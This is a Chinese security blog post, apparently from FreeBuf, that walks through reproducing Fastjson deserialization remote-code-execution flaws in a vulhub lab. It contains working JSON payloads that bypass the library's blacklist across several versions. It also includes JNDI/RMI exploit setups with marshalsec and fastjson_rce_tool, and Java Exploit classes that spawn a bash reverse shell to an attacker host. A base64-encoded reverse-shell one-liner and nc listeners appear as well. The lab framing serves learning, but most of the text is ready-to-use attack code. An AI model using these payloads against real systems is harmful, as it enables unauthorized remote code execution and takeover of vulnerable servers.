freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Fastjson系列-漏洞复现
2023-02-23 14:49:07
所属地 陕西省

一、Fastjson概述

Fastjson是阿里巴巴公司开源的一款json解析器,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

二、历史漏洞

Fastjson <=1.2.24反序列化远程命令执行漏洞

Fastjson <=1.2.41反序列化远程命令执行漏洞

Fastjson <=1.2.42反序列化远程命令执行漏洞

Fastjson <=1.2.43反序列化远程命令执行漏洞

Fastjson <=1.2.45反序列化远程命令执行漏洞

Fastjson <=1.2.47反序列化远程命令执行漏洞

Fastjson <=1.2.62反序列化远程命令执行漏洞

Fastjson <=1.2.66反序列化远程命令执行漏洞


三、漏洞介绍

fastjson在解析json的过程中,支持使用auto Type来实例化某个具体的类,并调用该类的set/get方法来访问属性,通过查找代码中相关的方法,即可构造出一些恶意利用链。

fastjson于1.2.24版本后增加了反序列化的白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。


四、Fastjson特征识别

1、第一种识别方法-json格式包

json学习链接:https://www.runoob.com/json/json-tutorial.html

{
"sites": [
{ "name":"菜鸟教程" , "url":"www.runoob.com" }, 
{ "name":"google" , "url":"www.google.com" }, 
{ "name":"微博" , "url":"www.weibo.com" }
]
}

Fastjson的作用是用于对JSON格式的数据进行解析和打包,所以出现json格式的地方就有可能使用了Fastjson。


2、第二种识别方法-报错处理

1、我们抓到包以后,首先将包改为POST。

1677133737_63f707a95932364db2bb6.png!small?1677133737342

2、这时候,我们需要改两处字段。

1677133747_63f707b37057eb9ca5963.png!small?1677133747541

Content-Type: application/xxxx原本的字段改为Content-Type: application/json

• 后面空一格,加上。

{

"name":"1"

}

3、然后,我们删除json格式包的一半,使其报错。

{

"name":"1

1677133803_63f707ebca56019ab3cbd.png!small?1677133803791报错之后,很明显响应包里面出现了alibaba.fastjson的错误信息。

3、第三种识别方式-DNSlog

1、java.net.InetAddress这个类在实例化时会尝试作对example.com做域名解析,这时候可以通过dnslog的方式得知漏洞是否存在。

2、获取dnslog地址:http://dnslog.cn/

1677133817_63f707f965a6795c7d774.png!small?1677133817461

3、将地址复制到json包相应的位置。

{
"name":{
"@type":"java.net.InetAddress",
"val":"i1q73g.dnslog.cn"
}
}

1677133893_63f7084507ed5ea0e51c1.png!small?1677133893161

进行发包。

4、DNSlog顺利回显。

1677133913_63f7085943aa84ba2b2f1.png!small?1677133913122

五、Fastjson1.2.47命令执行漏洞复现

1、JNDI

1、JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。

可以访问以下名称/目录服务:

◇ RMI(Java远程方法调用)

◇ LDAP(轻量级目录访问协议)

◇ CORBA(公共对象请求代理体系结构)

◇ DNS(域名服务)


2、JNDI注入+RMI

1、RMI是Java远程方法调用,是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口,它使客户机运行的程序可以调用远程服务器的对象。


3、环境搭建

1、这里我们使用的是vulhub靶场。

cd 1.2.47-rce/

docker-compose up -d

docker-compose config

1677133936_63f7087017ed8843784af.png!small?1677133936022

2、接着我们访问漏洞页面:http://192.168.111.133:8090/

1677133943_63f70877b02109ac3bbc9.png!small?1677133943592

环境启动成功。

4、第一种复现

1、靶机IP:192.168.111.133

攻击机IP:192.168.111.129

2、下载利用工具。

下载链接:git clone https://github.com/wyzxxz/fastjson_rce_tool.git

3、利用工具启动RMI server

java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.111.129 9999 "要执行的命令"


java -cp fastjson_tool.jar fastjson.HRMIServer 攻击机IP 端口随意 "要执行的命令"

如果是反弹shell的命令,需要将其进行编码,管道符,输入输出重定向,只有在bash环境下才能用,而在这里,我们使用的是java为我们提供的命令执行环境,不支持管道符,输入输出重定向等,因此需要base64编码一下。

4、反弹shell命令。

bash -i >& /dev/tcp/192.168.111.129/6666 0>&1


我们进行base64编码:http://www.jsons.cn/base64/

1677133983_63f7089f84629d18c474e.png!small?1677133983342

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xMjkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

5、然后放入payload中执行。

java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.111.129 9999 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xMjkvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}"

1677134781_63f70bbda5f3dc36aa5b9.png!small?1677134781864利用JNDI注入加载远程RMI server上的字节码。

6、生成字节码文件步骤如下:

Exploit.java

//javac Exploit.java
import java.lang.Runtime;
import java.lang.Process;

public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i &gt;& /dev/tcp/192.168.111.129/6666 0&gt;&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}

7、对Exploit.java文件进行编译。

javac Exploit.java

1677134085_63f70905f2e7271f54b16.png!small?1677134085982

8、我们在攻击机开启监听。

nc -lvvp 6666

1677134093_63f7090d1037f4843b4a9.png!small?1677134093123

9、我们在Burp中复制payload,进行发包。

{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.111.129:9999/Object",
"autoCommit":true
}
}

1677134134_63f70936459bccd4f9a04.png!small?1677134134252

10、成功得到shell。

1677134153_63f7094909f11c705c7b7.png!small?1677134152903

注意,重新获得shell的话,需要删除.class文件,重新生成。

5、第二种复现

1、工具下载:https://github.com/mbechler/marshalsec

2、借助marshalsec项目启动一个rmi服务器,监听一个端口,并指定加载远程类Exploit.class。

maven打包项目成jar包:

mvn clean package -DskipTests

2、攻击机开启RMI Server。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.111.129:8000/#Exploit" 9999

3、编写漏洞利用脚本Exploit.java。

//javac Exploit.java
public class Exploit{
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.111.129/2333 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}


1677134833_63f70bf1a54c9dba292a7.png!small?16771348336744、在攻击机开启8000端口的HTTP服务,在Exploit.class所在目录执行。

[python2]python2 -m SimpleHTTPServer

[python3]python3 -m http.server


5、攻击机开启2333端口监听,等待靶机将shell送上来。

nc -lvvp 2333

1677134287_63f709cf5d713e9a17c15.png!small?1677134287644

6、Burp攻击靶机。

{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.111.129:9999/Exploit",
"autoCommit":true
}
}

1677134317_63f709ed1e2dcc9b838e8.png!small?1677134317252

7、得到shell。

1677134858_63f70c0a81ab2e228b707.png!small?1677134858464

六、Fastjson <=1.2.24反序列化远程命令执行漏洞

1、攻击机操作和Fastjson1.2.47命令执行漏洞复现两种方法一样。

2、不同点就是我们需要在Burp发包攻击时,修改json包如下。

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.111.129:9999/Exploit",
"autoCommit":true
}
}

1677134649_63f70b3917c9256ed9f81.png!small?16771346494253、就可以获得shell。

七、Fastjson历史漏洞

1、Fastjson < 1.2.41

第一个Fastjson反序列化漏洞爆出以后,阿里在1.2.25版本设置了autoTypeSupport属性默认为false,并且增加了checkAutoType()函数,通过黑白名单的方式来防御Fastjson反序列化漏洞,因此后面发现的Fastjson反序列化漏洞都是针对黑名单绕过来实现攻击利用的目的。

com.sun.rowset.jdbcRowSetlmpl在1.2.25版本被加入了黑名单,fastjson有个判断条件判断类名是否以"L"开头,以";"结尾,是的话就提取出其中的类名在加载进来。

那么就可以构造如下exp:

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName":"rmi://ip:9999/rce_1_2_24_exploit", "autoCommit":true}

2、Fastjson < 1.2.42

阿里在发现这个绕过漏洞之后做出了类名如果为L开头,;结尾的时候就先去掉L和;进行黑名单验证的方法,但是没有考虑到双写或者多写的情况,也就是说这种方法只能防御一组L和;,构造exp如下,即双写L和;

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName":"rmi://x.x.x.x:9999/exp",

"autoCommit":true}

3、Fastjson < 1.2.47

在1.2.47版本及以下的情况下,loadClass默认cache为true,首先使用java.lang.Class把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.jdbcRowSetlmpl这个类,即可绕过黑名单。

{ "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://ip:9999/exp", "autoCommit": true }}

4、Fastjson < 1.2.66

基于黑名单绕过,autoTypeSupport属性true才能使用,在1.2.25版本之后,autoTypeSupport默认为false。

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://ip:1389/Calc"}{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://ip:1389/Calc"}{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://ip:1389/Calc"}

# 漏洞复现
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录